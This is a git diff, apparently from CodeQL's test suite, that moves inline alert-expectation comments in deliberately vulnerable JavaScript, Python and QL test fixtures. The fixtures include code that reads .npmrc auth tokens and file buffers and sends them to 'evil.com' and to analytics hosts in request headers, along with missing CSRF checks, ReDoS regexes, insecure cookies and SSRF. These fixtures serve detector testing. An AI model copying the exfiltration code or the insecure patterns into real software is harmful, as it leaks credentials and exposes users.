{ }); const fsp = require("fs").promises; @@ -15,12 +15,12 @@ const fsp = require("fs").promises; try { const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http] - https.get({ + https.get({ // $ Alert[js/file-access-to-http] hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: content } - }, () => { }); // $ Alert[js/file-access-to-http] + }, () => { }); } catch (error) { console.error("Error reading file:", error); @@ -33,29 +33,29 @@ app.post('/readv', async (req, res) => { const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http] const bytesRead = fs.readvSync(fd, buffer); - https.get({ + https.get({ // $ Alert[js/file-access-to-http] hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer } - }, () => { }); // $ Alert[js/file-access-to-http] + }, () => { }); const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] const bytesRead1 = fs.readvSync(fd, [buffer1]); - https.get({ + https.get({ // $ Alert[js/file-access-to-http] hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer1.slice(0, bytesRead1).toString() } - }, () => { }); // $ Alert[js/file-access-to-http] + }, () => { }); const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] fs.readv(fd, [buffer2], (err, bytesRead2) => { - https.get({ + https.get({ // $ Alert[js/file-access-to-http] hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: buffer2.slice(0, bytesRead2).toString() } - }, () => { }); // $ Alert[js/file-access-to-http] + }, () => { }); }); }); diff --git a/javascript/ql/test/query-tests/Security/CWE-200/request.js b/javascript/ql/test/query-tests/Security/CWE-200/request.js index 88eb5f6bbb25..523d8aeb3d45 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/request.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/request.js @@ -13,14 +13,14 @@ function PostJSON(jsonData) function PostXML(xmlData) { - request({ + request({ // $ Alert[js/file-access-to-http] url: "http://example.com/myxml", method: "POST", headers: { "content-type": "application/xml", }, body: xmlData // passing data from file to the request body - }, function (error, response, body){ // $ Alert[js/file-access-to-http] + }, function (error, response, body){ console.log(response); }); } diff --git a/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js b/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js index 9830b4bca822..e9a2b48fdfb4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js @@ -11,18 +11,18 @@ try { var content = buffer.toString("utf8", 0, bytesRead); content = content.replace("//registry.npmjs.org/:_authToken=", "").trim(); var https1 = require("https"); - https1.get({ + https1.get({ // $ Alert[js/file-access-to-http] hostname: "sstatic1.histats.com", path: "/0.gif?4103075&101", method: "GET", headers: { Referer: "http://1.a/" + content } // passing stolen token in a header - }, () => { }) // $ Alert[js/file-access-to-http] - https1.get({ + }, () => { }) + https1.get({ // $ Alert[js/file-access-to-http] hostname: "c.statcounter.com", path: "/11760461/0/7b5b9d71/1/", method: "GET", headers: { Referer: "http://2.b/" + content } // passing stolen token in a header - }, () => { }) // $ Alert[js/file-access-to-http] + }, () => { }) }); }); } diff --git a/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js b/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js index ca81d1fab73a..f22832930fc5 100644 --- a/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js +++ b/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js @@ -1,9 +1,9 @@ const webpack = require("webpack"); -var plugin = new webpack.DefinePlugin({ +var plugin = new webpack.DefinePlugin({ // $ Alert[js/build-artifact-leak] "process.env": JSON.stringify(process.env) // $ Source[js/build-artifact-leak] -}); // $ Alert[js/build-artifact-leak] +}); new webpack.DefinePlugin({ 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG }) }) diff --git a/javascript/ql/test/query-tests/Security/CWE-352/MissingCsrfMiddlewareBad.js b/javascript/ql/test/query-tests/Security/CWE-352/MissingCsrfMiddlewareBad.js index 34217d01c92e..5530567f898c 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/MissingCsrfMiddlewareBad.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/MissingCsrfMiddlewareBad.js @@ -7,9 +7,9 @@ var app = express(); app.use(cookieParser()); // $ Alert app.use(passport.authorize({ session: true })); -app.post('/changeEmail', function (req, res) { +app.post('/changeEmail', function (req, res) { // $ RelatedLocation let newEmail = req.cookies["newEmail"]; -}); // $ RelatedLocation +}); (function () { var app = express(); @@ -22,9 +22,9 @@ app.post('/changeEmail', function (req, res) { fn(req, res, next).catch((e) => console.log("Caught " + e)); }; - app.post('/changeEmail', errorCatch(async function (req, res) { + app.post('/changeEmail', errorCatch(async function (req, res) { // $ RelatedLocation let newEmail = req.cookies["newEmail"]; - })); // $ RelatedLocation + })); }) (function () { @@ -38,11 +38,11 @@ app.post('/changeEmail', function (req, res) { fn.call(this, req, res, next).catch((e) => console.log("Caught " + e)); }; - app.post('/changeEmail', errorCatch(async function (req, res) { + app.post('/changeEmail', errorCatch(async function (req, res) { // $ RelatedLocation let newEmail = req.cookies["newEmail"]; - })); // $ RelatedLocation + })); - app.post('/doLoginStuff', errorCatch(async function (req, res) { + app.post('/doLoginStuff', errorCatch(async function (req, res) { // $ RelatedLocation req.session.user = loginStuff(req); - })); // $ RelatedLocation + })); }) diff --git a/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js b/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js index b8b01c197e02..b34510c8a3aa 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/csurf_api_example.js @@ -39,10 +39,10 @@ function createApiRouter () { res.send('no csrf to get here') }) - router.post('/getProfile_unsafe', cookieParser(), function (req, res) { // $ Alert - may use cookies + router.post('/getProfile_unsafe', cookieParser(), function (req, res) { // $ Alert - may use cookies RelatedLocation let newEmail = req.cookies["newEmail"]; res.send('no csrf to get here') - }) // $ RelatedLocation + }) return router } diff --git a/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js b/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js index fa2cbe819df8..69b1b9d9a4c4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/csurf_example.js @@ -28,7 +28,7 @@ app.post('/process', parseForm, csrfProtection, function (req, res) { res.send('data is being processed') }) -app.post('/process_unsafe', parseForm, function (req, res) { +app.post('/process_unsafe', parseForm, function (req, res) { // $ RelatedLocation let newEmail = req.cookies["newEmail"]; res.send('data is being processed') -}) // $ RelatedLocation +}) diff --git a/javascript/ql/test/query-tests/Security/CWE-352/fastify.js b/javascript/ql/test/query-tests/Security/CWE-352/fastify.js index a8c74e1a08e0..821b42c9c68c 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/fastify.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/fastify.js @@ -17,10 +17,10 @@ app.route({ app.route({ method: 'POST', path: '/', - handler: async (req, reply) => { // lacks CSRF protection + handler: async (req, reply) => { // $ RelatedLocation // lacks CSRF protection req.session.blah; return req.body - } // $ RelatedLocation + } }) diff --git a/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js b/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js index ebaaefaa0338..9ddcacedb553 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/fastify2.js @@ -21,10 +21,10 @@ app.route({ app.route({ method: 'POST', path: '/', - handler: async (req, reply) => { // lacks CSRF protection + handler: async (req, reply) => { // $ RelatedLocation // lacks CSRF protection req.session.blah; return req.body - } // $ RelatedLocation + } }) diff --git a/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js b/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js index 0d6ba94928c4..7c3fdc571af8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/lusca_example.js @@ -23,12 +23,12 @@ app.post('/process', parseForm, lusca({csrf:{}}), function (req, res) { res.send('data is being processed') }) -app.post('/process', parseForm, lusca(), function (req, res) { // missing csrf option +app.post('/process', parseForm, lusca(), function (req, res) { // $ RelatedLocation // missing csrf option let newEmail = req.cookies["newEmail"]; res.send('data is being processed') -}) // $ RelatedLocation +}) -app.post('/process_unsafe', parseForm, function (req, res) { +app.post('/process_unsafe', parseForm, function (req, res) { // $ RelatedLocation let newEmail = req.cookies["newEmail"]; res.send('data is being processed') -}) // $ RelatedLocation +}) diff --git a/javascript/ql/test/query-tests/Security/CWE-352/tst.js b/javascript/ql/test/query-tests/Security/CWE-352/tst.js index 55a6d84a2e7e..86e645c9abc4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/tst.js @@ -5,9 +5,9 @@ const csrf = require('csurf') const app = express() app.use(cookieParser()) // $ Alert -app.post('/unsafe', (req, res) => { +app.post('/unsafe', (req, res) => { // $ RelatedLocation req.cookies.x; -}); // $ RelatedLocation +}); function middlewares() { return express.Router() diff --git a/javascript/ql/test/query-tests/Security/CWE-352/unused_cookies.js b/javascript/ql/test/query-tests/Security/CWE-352/unused_cookies.js index 9b0a675c4260..eedf8540ea71 100644 --- a/javascript/ql/test/query-tests/Security/CWE-352/unused_cookies.js +++ b/javascript/ql/test/query-tests/Security/CWE-352/unused_cookies.js @@ -5,12 +5,12 @@ let app = express(); app.use(cookieParser()); // $ Alert -app.post('/doSomethingTerrible', (req, res) => { // uses cookies +app.post('/doSomethingTerrible', (req, res) => { // $ RelatedLocation // uses cookies if (req.cookies['secret'] === app.secret) { somethingTerrible(); } res.end('Ok'); -}); // $ RelatedLocation +}); app.post('/doSomethingElse', (req, res) => { // OK - doesn't actually use cookies somethingElse(req.query['data']); @@ -26,14 +26,14 @@ app.post('/doWithCaptcha', (req, res) => { // OK - attacker can't guess the capt res.end('Ok'); }); -app.post('/user', (req, res) => { // access to req.user is unprotected +app.post('/user', (req, res) => { // $ RelatedLocation // access to req.user is unprotected somethingElse(req.user.name); res.end('Ok'); -}); // $ RelatedLocation +}); -app.post('/session', (req, res) => { // access to req.session is unprotected +app.post('/session', (req, res) => { // $ RelatedLocation // access to req.session is unprotected somethingElse(req.session.name); res.end('Ok'); -}); // $ RelatedLocation +}); app.listen(); diff --git a/javascript/ql/test/query-tests/Security/CWE-367/tst.js b/javascript/ql/test/query-tests/Security/CWE-367/tst.js index 55fcaa16522d..5501fa2dcbce 100644 --- a/javascript/ql/test/query-tests/Security/CWE-367/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-367/tst.js @@ -30,11 +30,11 @@ fs.access("myfile", (err) => { return; } - fs.open("myfile", "wx", (err, fd) => { + fs.open("myfile", "wx", (err, fd) => { // $ Alert if (err) throw err; // .... - }); // $ Alert + }); }); const filePath3 = createFile(); diff --git a/javascript/ql/test/query-tests/Security/CWE-384/tst.js b/javascript/ql/test/query-tests/Security/CWE-384/tst.js index 823604f0b4a9..954a68997f47 100644 --- a/javascript/ql/test/query-tests/Security/CWE-384/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-384/tst.js @@ -6,12 +6,12 @@ app.use(session({ secret: 'keyboard cat' })); // handle login -app.get('/login', function (req, res) { // no regenerate +app.get('/login', function (req, res) { // $ Alert // no regenerate req.session.user = { userId: something }; res.send('logged in'); -}); // $ Alert +}); // with regenerate app.get('/login2', function (req, res) { diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js index d5a28e5858dc..98455efdf4f9 100644 --- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/tst.js @@ -316,21 +316,21 @@ var bad93 = /(?<=^v?|\sv?)(a|aa)*$/; // $ Alert[js/redos] var bad94 = /(a|aa)*$/; // $ Alert[js/redos] var bad95 = new RegExp( - "(a" + + "(a" + // $ Alert[js/redos] "|" + "aa)*" + - "b$" // $ Alert[js/redos] + "b$" ); var bad96 = new RegExp("(" + "(c|cc)*|" + // $ Alert[js/redos] "(d|dd)*|" + // $ Alert[js/redos] - "(e|ee)*" + -")f$"); // $ Alert[js/redos] + "(e|ee)*" + // $ Alert[js/redos] +")f$"); var bad97 = new RegExp( - "(g|gg" + - ")*h$"); // $ Alert[js/redos] + "(g|gg" + // $ Alert[js/redos] + ")*h$"); var bad98 = /^(?:\*\/\*|[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}\/(?:\*|[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126})(?:\s* *; *[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}(?:="?[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}"?)?\s*)*)$/; // $ Alert[js/redos] diff --git a/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js index 2bc553aa7852..4ffb92d06074 100644 --- a/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js +++ b/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js @@ -1,4 +1,4 @@ var http = require('http') -http.createServer(function (request, response) { - }).listen(9615) // $ Alert +http.createServer(function (request, response) { // $ Alert + }).listen(9615) diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js index f4163a2a376d..918116e39751 100644 --- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js +++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js @@ -27,10 +27,10 @@ function zipBomb(tarFile) { // scenario 2 fs.writeFileSync(tarFile.name, tarFile.data); fs.createReadStream(tarFile.name).pipe( - tar.x({ + tar.x({ // $ Alert strip: 1, C: 'some-dir' - }) // $ Alert + }) ) // safe https://github.com/isaacs/node-tar/blob/8c5af15e43a769fd24aa7f1c84d93e54824d19d2/lib/list.js#L90 fs.createReadStream(tarFile.name).pipe( @@ -45,9 +45,9 @@ function zipBomb(tarFile) { fs.createReadStream(tarFile.name).pipe( decompressor ).pipe( - tar.x({ + tar.x({ // $ Alert cwd: "dest" - }) // $ Alert + }) ) // scenario 4 diff --git a/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js b/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js index 9e3e00d7b338..c4836ddb33f9 100644 --- a/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js +++ b/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js @@ -2,12 +2,12 @@ const express = require('express') const app = express() app.get('/a', function (req, res, next) { - res.cookie('authkey', 'value', + res.cookie('authkey', 'value', // $ Alert { maxAge: 9000000000, httpOnly: true, secure: false - }); // $ Alert + }); res.end('ok') }) @@ -104,19 +104,19 @@ const express = require('express') const app = express() const session = require('express-session') -app.use(session({ +app.use(session({ // $ Alert secret: 'secret', cookie: { secure: false } -})) // $ Alert +})) -app.use(session({ +app.use(session({ // $ Alert secret: 'secret' -})) // $ Alert +})) -app.use(session({ +app.use(session({ // $ Alert secret: 'secret', cookie: {} -})) // $ Alert +})) const sess = { secret: 'secret', @@ -147,7 +147,7 @@ app.use(session({ expires: expiryDate })) -app.use(session({ +app.use(session({ // $ Alert name: 'session', keys: ['key1', 'key2'], secure: false, @@ -155,7 +155,7 @@ app.use(session({ domain: 'example.com', path: 'foo/bar', expires: expiryDate -})) // $ Alert +})) http.createServer((req, res) => { res.setHeader('Content-Type', 'text/html'); diff --git a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js index 49ad4f033a28..7b74a647f3d6 100644 --- a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js +++ b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js @@ -3,10 +3,10 @@ const helmet = require("helmet"); const app = express(); -app.use(helmet({ +app.use(helmet({ // $ Alert contentSecurityPolicy: false, // $ RelatedLocation - switch off default CSP frameguard: false // $ RelatedLocation - switch off default frameguard -})); // $ Alert +})); app.get("/", (req, res) => { res.send("Hello, world!"); diff --git a/javascript/ql/test/query-tests/Security/CWE-730/Threat-models-disabled/server-crash.js b/javascript/ql/test/query-tests/Security/CWE-730/Threat-models-disabled/server-crash.js index a47c4752f0e8..38cedfb8b658 100644 --- a/javascript/ql/test/query-tests/Security/CWE-730/Threat-models-disabled/server-crash.js +++ b/javascript/ql/test/query-tests/Security/CWE-730/Threat-models-disabled/server-crash.js @@ -11,18 +11,18 @@ let server = app.listen(port, () => ); function indirection1() { - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] throw err; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); } function indirection2() { throw 42; // $ Alert[js/server-crash] } function indirection3() { try { - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] throw err; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); } catch (e) {} } function indirection4() { @@ -32,14 +32,14 @@ function indirection5() { indirection6(); } function indirection6() { - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] throw err; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); } app.get("/async-throw", (req, res) => { - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] throw err; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); fs.readFile("/foo", (err, x) => { try { throw err; // OK - guarded throw @@ -55,9 +55,9 @@ app.get("/async-throw", (req, res) => { }); indirection1(); - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] indirection2(); - }); // $ Sink[js/server-crash] + }); indirection3(); try { @@ -84,38 +84,38 @@ app.get("/async-throw", (req, res) => { } catch (e) {} }); function indirection7() { - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] throw err; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); } app.get("/async-throw-again", (req, res) => { - fs.readFile("foo", () => { + fs.readFile("foo", () => { // $ Sink[js/server-crash] throw "e"; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); fs.readFileSync("foo", () => { throw "e"; // OK - does not take callbacks at all }); // can nest async calls (and only warns about the inner one) fs.readFile("foo", () => { - fs.readFile("bar", () => { + fs.readFile("bar", () => { // $ Sink[js/server-crash] throw "e"; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); }); fs.readFile("foo", () => { // can not catch async exceptions try { - fs.readFile("bar", () => { + fs.readFile("bar", () => { // $ Sink[js/server-crash] throw "e"; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); } catch (e) {} }); // can mix sync/async calls fs.readFile("foo", () => { (() => - fs.readFile("bar", () => { + fs.readFile("bar", () => { // $ Sink[js/server-crash] throw "e"; // $ Alert[js/server-crash] - }))(); // $ Sink[js/server-crash] + }))(); }); }); @@ -127,9 +127,9 @@ app.get("/throw-in-promise-1", async (req, res) => { }); app.get("/throw-in-promise-2", async (req, res) => { async function fun() { - fs.readFile("/foo", (err, x) => { + fs.readFile("/foo", (err, x) => { // $ Sink[js/server-crash] throw err; // $ Alert[js/server-crash] - }); // $ Sink[js/server-crash] + }); } await fun(); }); @@ -153,9 +153,9 @@ app.get("/throw-with-ambiguous-paths", (req, res) => { throw new Error(); // $ Alert[js/server-crash] } - function cb() { + function cb() { // $ Sink[js/server-crash] throwError(); // on path - } // $ Sink[js/server-crash] + } function withAsync() { throwError(); // not on path fs.stat(X, cb); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js index 8d89560e51f7..c8ca4fc3fd42 100644 --- a/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js +++ b/javascript/ql/test/query-tests/Security/CWE-770/MissingRateLimit/MissingRateLimiting.js @@ -1,11 +1,11 @@ var express = require('express'); var app = express(); -app.get('/:path', function(req, res) { +app.get('/:path', function(req, res) { // $ Alert let path = req.params.path; if (isValidPath(path)) res.sendFile(path); -}); // $ Alert +}); function f1(req, res) { let path = req.params.path; diff --git a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js index 7d102a4ee3dd..42c5b4198a3e 100644 --- a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js +++ b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js @@ -316,9 +316,9 @@ var privateKey = "myHardCodedPrivateKey"; // $ Alert jose.jwtVerify(token, new TextEncoder().encode(privateKey)) // $ Sink - const spki = `-----BEGIN PUBLIC KEY----- + const spki = `-----BEGIN PUBLIC KEY----- // $ Alert MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwhYOFK2Ocbbpb/zVypi9... - -----END PUBLIC KEY-----` // $ Alert + -----END PUBLIC KEY-----` let publicKey = await jose.importSPKI(spki, 'RS256') jose.jwtVerify(token, publicKey) // $ Sink diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js index 270038961d19..094acd46b3df 100644 --- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js @@ -7,14 +7,14 @@ app.get('/hello', function(req, res) { _.merge({}, req.query.foo); // $ Alert _.merge({}, req.query); // $ MISSING: Alert - _.merge({}, { + _.merge({}, { // $ Alert value: req.query.value // $ Source - }); // $ Alert + }); let opts = { thing: req.query.value // $ Source - wrapped and unwrapped value }; - _.merge({}, { + _.merge({}, { // $ Alert value: opts.thing - }); // $ Alert + }); }); diff --git a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js index c359312738b8..166e8f353f59 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js +++ b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js @@ -122,10 +122,10 @@ new ws.Server({ port: 8080 }).on('connection', function (socket, request) { var server2 = http.createServer(function (req, res) { var tainted = url.parse(req.url, true).query.url; // $ Source[js/request-forgery] - axios({ + axios({ // $ Alert[js/request-forgery] method: 'get', url: tainted // $ Sink[js/request-forgery] - }) // $ Alert[js/request-forgery] + }) var myUrl = `${something}/bla/${tainted}`; axios.get(myUrl); // $ Alert[js/request-forgery] diff --git a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js index 8172c8fbcb0f..990179e6200a 100644 --- a/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js +++ b/javascript/ql/test/query-tests/Statements/InconsistentLoopOrientation/tst.js @@ -2,15 +2,15 @@ for (j = i - 1; j >= 0; --j) { } -for (j = i + 1; j < strLength; --j) { -} // $ Alert +for (j = i + 1; j < strLength; --j) { // $ Alert +} -for (var i = 0, l = c.length; i > l; i ++) { -} // $ Alert +for (var i = 0, l = c.length; i > l; i ++) { // $ Alert +} for (i=lower-1; i>=0; --i) a[i] = 0; -for (i=upper+1; i[^]]+) # very permissive! \] # ] - """ # $ Alert[py/regex/duplicate-in-character-class] + """) # Compiled regular expression marking it as verbose ODASA_6786 = re.compile(VERBOSE_REGEX, re.VERBOSE) diff --git a/python/ql/test/query-tests/Expressions/strings/test.py b/python/ql/test/query-tests/Expressions/strings/test.py index 1767a2d109be..61f521b24fc7 100644 --- a/python/ql/test/query-tests/Expressions/strings/test.py +++ b/python/ql/test/query-tests/Expressions/strings/test.py @@ -14,14 +14,14 @@ def test(): ] error1 = [ "foo", - "/usr/local" - "/usr/bin" # $ Alert + "/usr/local" # $ Alert + "/usr/bin" ] error2 = [ "foo" + "bar", - "/usr/local" - "/usr/bin" # $ Alert + "/usr/local" # $ Alert + "/usr/bin" ] #Examples from documentation @@ -30,10 +30,10 @@ def unclear(): # Returns [ "first part of long string and the second part", "/usr/local/usr/bin" ] return [ - "first part of long string" - " and the second part", # $ Alert - "/usr/local" - "/usr/bin" # $ Alert + "first part of long string" # $ Alert + " and the second part", + "/usr/local" # $ Alert + "/usr/bin" ] def clarified(): diff --git a/python/ql/test/query-tests/Security/CWE-942-CorsMisconfigurationMiddleware/fastapi.py b/python/ql/test/query-tests/Security/CWE-942-CorsMisconfigurationMiddleware/fastapi.py index 3d64a1305403..c61ee88c032b 100644 --- a/python/ql/test/query-tests/Security/CWE-942-CorsMisconfigurationMiddleware/fastapi.py +++ b/python/ql/test/query-tests/Security/CWE-942-CorsMisconfigurationMiddleware/fastapi.py @@ -7,13 +7,13 @@ "*" ] -app.add_middleware( +app.add_middleware( # $ Alert CORSMiddleware, allow_origins=origins, allow_credentials=True, allow_methods=["*"], allow_headers=["*"], -) # $ Alert +) @app.get("/") diff --git a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll index b4b30f100286..4dd010cc2513 100644 --- a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll +++ b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll @@ -11,23 +11,23 @@ class MyStr extends string { } predicate bad1(Big b) { - b.toString().matches("%foo") + b.toString().matches("%foo") // $ Alert or - any() // $ Alert + any() } int bad2() { exists(Big big, Small small | - result = big.toString().toInt() + result = big.toString().toInt() // $ Alert or - result = small.toString().toInt() // $ Alert + result = small.toString().toInt() ) } float bad3(Big t) { - result = [1 .. 10].toString().toFloat() or + result = [1 .. 10].toString().toFloat() or // $ Alert result = [11 .. 20].toString().toFloat() or - result = t.toString().toFloat() or // $ Alert + result = t.toString().toFloat() or result = [21 .. 30].toString().toFloat() } @@ -46,11 +46,11 @@ predicate helper(Big a, Big b) { } predicate bad4(Big fromType, Big toType) { - helper(fromType, toType) + helper(fromType, toType) // $ Alert or fromType.toString().matches("%foo") or - helper(toType, fromType) // $ Alert + helper(toType, fromType) } predicate good2(Big t) { @@ -124,14 +124,14 @@ predicate good5(Big a, Big b) { predicate bad6(Big a) { ( - a.toString().matches("%foo") // bad + a.toString().matches("%foo") // $ Alert // bad or - any() // $ Alert + any() ) and ( - a.toString().matches("%foo") // also bad + a.toString().matches("%foo") // $ Alert // also bad or - any() // $ Alert + any() ) } @@ -161,9 +161,9 @@ class HasField extends Big { Big field; HasField() { - field = this + field = this // $ Alert // <- field only defined here. or - this.toString().matches("%foo") // $ Alert // <- field only defined here. + this.toString().matches("%foo") } Big getField() { result = field } diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref b/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref index 48abe277264b..dd334a6b6e4b 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref +++ b/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref @@ -1,2 +1 @@ query: queries/style/MissingQualityMetadata.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql index 0b1290de98b2..3dd18771f959 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql @@ -8,7 +8,7 @@ * @tags quality * maintainability * error-handling - */ // $ Alert + */ import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql index 4624b6d1076e..a9a7b48b76c7 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql @@ -8,7 +8,7 @@ * @tags quality * maintainability * reliability - */ // $ Alert + */ import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql index 8c8bda6294e5..ad2ab5c1fb57 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql @@ -7,7 +7,7 @@ * @id ql/quality-query-test * @tags quality * someothertag - */ // $ Alert + */ import ql diff --git 